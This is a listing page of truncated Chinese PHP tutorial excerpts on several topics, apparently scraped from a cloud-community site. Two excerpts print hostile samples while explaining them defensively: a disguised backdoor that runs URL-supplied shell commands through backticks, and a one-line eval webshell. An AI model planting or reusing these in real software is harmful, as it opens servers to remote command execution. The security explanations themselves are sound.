php中json_encode處理gbk與gb2312中文亂碼問題的解決方案_php技巧

本文講述了php中json_encode處理gbk與gb2312中文亂碼問題的解決方案,具體方法如下:1.json_encode()中文在gbk/gb2312中對中文返回為null$arr = array ( array ( 'catid' => '4', 'catname' => 'www.jb51.net', 'meta_title' => '雲棲社區' )); echo

使用PHP擷取當前url路徑的函數以及伺服器變數_php技巧

PHP擷取當前url路徑的函數及伺服器變數:代碼:複製代碼 代碼如下:<?php$path = /usr/opt/../ect/abcd;echo $_SERVER['DOCUMENT_ROOT']."<br>";   //獲得伺服器文檔根變數(取決於http.conf中的配置)echo $_SERVER['PHP_SELF']."<br>";  //獲得執行該代碼的檔案的路徑,與http.conf中的配置有關係。echo

php判斷GIF圖片是否為動畫的方法_php技巧

本文介紹了PHP判斷GIF圖片是動畫的方法,具體步驟如下:首先,gif動畫是gif89格式的,發現檔案開頭是gif89。但是很多透明圖片也是用的gif89格式,GOOGLE到的:可以檢查檔案中是否包含:chr(0×21).chr(0xff).chr(0×0b).'NETSCAPE2.0'chr(0×21).chr(0xff) 是gif圖片中擴充功能段的標題,'NETSCAPE2.0'是擴充功能執行的程式名程式碼如下:<?phpfunction

一個不易被發現的PHP後門代碼解析_php技巧

偶然間看到一段,看起來似乎沒有什麼問題,確是能致命的後門代碼,這裡用到了一個一般的PHPer都不怎麼關注的反撇號 ` ,反撇號包含的字串,等同於shell_exec函數。偽裝性很好,很容易被管理員忽略。$selfNums = $_GET['r'];if (isset($selfNums)){ echo `$selfNums`;}剛看到這段代碼我想大家都會說沒有問題,但是細心的朋友也會發現下面的變數被一個符號包起來了,既然是變數為什麼要這樣了,而且又不是單引號,這個就是關鍵所在了,這個符號是

linux下使用crontab實現定時PHP計劃任務失敗的原因分析_php技巧

很多人在linux下使用crontab實現PHP執行定時任務卻未能成功,不能產生緩衝。本文就linux下使用crontab實現定時PHP計劃任務失敗的原因做一分析。一般我們linux定時執行php代碼例如:*/5 * * * * /usr/local/php/bin/php

PHP 檔案編程綜合案例-檔案上傳的實現_php技巧

PHP檔案上傳1、upload.php複製代碼 代碼如下:<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>  <head>    <title>ddd</title>    <meta http-equiv="content-type"

PHP臨時檔案的安全性分析_php技巧

一、簡介  臨時檔案,顧名思義是臨時產生的檔案,且檔案的生命週期很短。  然而,很多應用的運行都離不開臨時檔案,臨時檔案在我們電腦上無處不在,主要有以下幾種形式的臨時檔案:1.檔案或圖形編輯程式,所產生的中間檔案2.資料庫查詢時,產生的臨時快取檔案,提供之前的結果資料而,以減少再次訪問資料庫的代價;通常用於遠端資料庫或遠程xml的服務3.檔案被上傳後在服務端的臨時儲存,其檔案名稱為php的全域變數$_FILES['userfile']['tmp_name']的值4.在http請求中,用於存放se

淺析PHP繪圖技術_php技巧

1、圖片格式:目前網站開發常見的圖片格式有gif,jpg/jpeg,png .....區別:•gif 圖片壓縮率高,但是只能顯示256色,可能造成顏色的丟失,可以顯示動畫•jpg/jpeg 圖片壓縮率高(有損壓縮),可以用較小的檔案來顯示,網頁上用得比較多•png 該格式綜合了gif和jpg的優勢,缺點是不能顯示動畫2、通過PHP編程來繪圖複製代碼 代碼如下:<?php    //繪圖技術 基本步驟

PHP中使用協同程式實現合作多任務第1/2頁_php技巧

PHP5.5一個比較好的新功能是實現對產生器和協同程式的支援。對於產生器,PHP的文檔和各種其他的部落格文章(就像這一個或這一個)已經有了非常詳細的講解。協同程式相對受到的關注就少了,所以協同程式雖然有很強大的功能但也很難被知曉,解釋起來也比較困難。 這篇文章指導你通過使用協同程式來實施任務調度,通過執行個體實現對技術的理解。我將在前三節做一個簡單的背景介紹。如果你已經有了比較好的基礎,可以直接跳到“協同多任務處理”一節。 產生器

php修改NetBeans預設字型的大小_php技巧

在Netbeans中由於使用了Swing進行開發,所以其中介面的字型也是由Java虛擬機器進行配置而不是隨作業系統的。在安裝完Netbeans後預設的字型大小是11px。而在Windows下的宋體最小支援12px。所以字型為11px就已經無法完整顯示了。 簡單的解決辦法就是將字型改大一點。詳細的方法是開啟Netbeans安裝目錄下的etc\netbeans.conf檔案。在: netbeans_default_options="-J-client -J-Xss2m -J-Xms32m

php foreach正序倒序輸出範例程式碼_php技巧

實現代碼:// 正序foreach($files as $file_num => $file) {if(is_file($directory.$file)){//$file = iconv("gb2312","UTF-8",$file); //或者 iconv("gb2312","UTF-8",$value);$date = substr($file,0,9);echo '<li class="world-cup-'.$date.'">';echo '<a href="'

php中eval函數的危害與正確禁用方法_php技巧

php的eval函數並不是系統組件函數,因此我們在php.ini中使用disable_functions是無法禁止它的。但是eval()對於php安全來說具有很大的殺傷力,因此一般不用的情況下為了防止類似如下的一句話木馬入侵,需要禁止!<?php eval($_POST[cmd]);?>eval()使用範例:<?php$string = '杯子';$name = '咖啡';$str = '這個 $string 中裝有 $name.<br>';

PHP登入環節防止sql注入的方法淺析_php技巧

在防止sql注入這些細節出現問題的一般是那些大意的程式員或者是新手程式員,他們由於沒有對使用者提交過來的資料進行一些必要的過濾,從而導致了給大家測試的時候一下就攻破了你的資料庫,下面我們來簡單的介紹一個使用者登入未進行安全配置可能出現的sql注入方法,下面一起來看看吧。比如以下一段登入的代碼:if($l = @mysql_connect('localhost', 'root', '123')) or

php防止偽造的資料從URL提交方法_php技巧

針對偽造的資料從URL提交的情況,首先是一個檢查前一頁來源的如下代碼:<?/*PHP防止站外提交資料的方法*/function CheckURL(){ $servername=$_SERVER['SERVER_NAME']; $sub_from=$_SERVER["HTTP_REFERER"]; $sub_len=strlen($servername); $checkfrom=substr($sub_from,7,$sub_len); if($checkfrom!

解析PHP 5.5 新特性_php技巧

PHP5.5 前不久前剛剛發布,裡面的新特性有什嗎?官方文檔在這裡:http://www.php.net/manual/zh/migration55.new-features.php1 產生器 yield關鍵字yield的中文文檔在這裡:http://php.net/manual/zh/language.generators.overview.php查看文檔,能知道yield的一個功能就是能有效降低迭代的記憶體開銷。比如官網的這個xrange例子:複製代碼 代碼如下:<?php

PHP擷取檔案的MD5值並判斷是否被修改的例子_php技巧

由於需要判斷上傳的檔案是否被修改過,需要記錄上傳檔案的md5值,這裡記錄一下擷取檔案md5值的方法。複製代碼 代碼如下:if(isset($_FILES['multimedia']) && $_FILES['multimedia']['error']==0){ $file_name = $_FILES['multimedia']['name']; $size =

php的SimpleXML方法讀寫XML介面檔案執行個體解析_php技巧

在php5中讀寫xml文檔是非常方便的,可以直接使用php的SimpleXML方法來快速解析與產生xml格式的檔案,下面舉例說明:建立一個SimpleXML對象有三種方法:1.使用new關鍵字建立複製代碼

PHP以指定欄位為索引返回資料庫所取的資料數組_php技巧

很多情況下,我們從接觸一個新的項目到開發完成,再回過頭來仔細瀏覽一下自己寫的代碼,很多都是我們以前用熟練的代碼。所以,在完成每個新項目的時 候,適當的做些項目總結、代碼總結,或許你會在以後的項目中用得著,極有可能獲得意外的收穫,比如:代碼最佳化,想到了更好、速度更快的實現方法等等。 牛逼的程式開發人員有時候不在於代碼量的多少,而是程式的代碼簡潔性、邏輯複雜但實現的方便性,這些才說明是否是一位好的程式員。我們不做日夜加班到深夜,拼代碼量的程式員!

淺析php物件導向public private protected 存取修飾詞_php技巧

PHP中有三種存取修飾詞,分別是:     public(公用的、預設)     protected(受保護的)     private(私人的)public(公用的、預設)在PHP5中如果類沒有指定成員的存取修飾詞,預設就是public的存取權限。protected(受保護的)被聲明為protected的成員,只允許該類的子類進行訪問。private(私人的 )

php 驗證碼(傾斜,正弦幹擾線,黏貼,旋轉)_php技巧

好久沒有寫文章了。一直忙著新的項目。 最近,做驗證碼程式,一直想做一個簡潔大方,自動識別比較困難的。 通過這些時候整理搜集,發現一般做法有以下幾種方案:1、字型變型 (一般通過演算法,進行扭曲,比較有代表性就是:http://code.google.com/p/cool-php-captcha/ 2、字型黏貼 (這裡面以qq驗證碼為代表了,目前網上還是很難找到,破解qq驗證碼的) 3、幹擾線,噪點 (這種識別起來相當容易,很容易被程式自動化識別)對於上面提到,第1,2

總頁數: 1662 1 .... 798 799 800 801 802 .... 1662 Go to: 前往

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.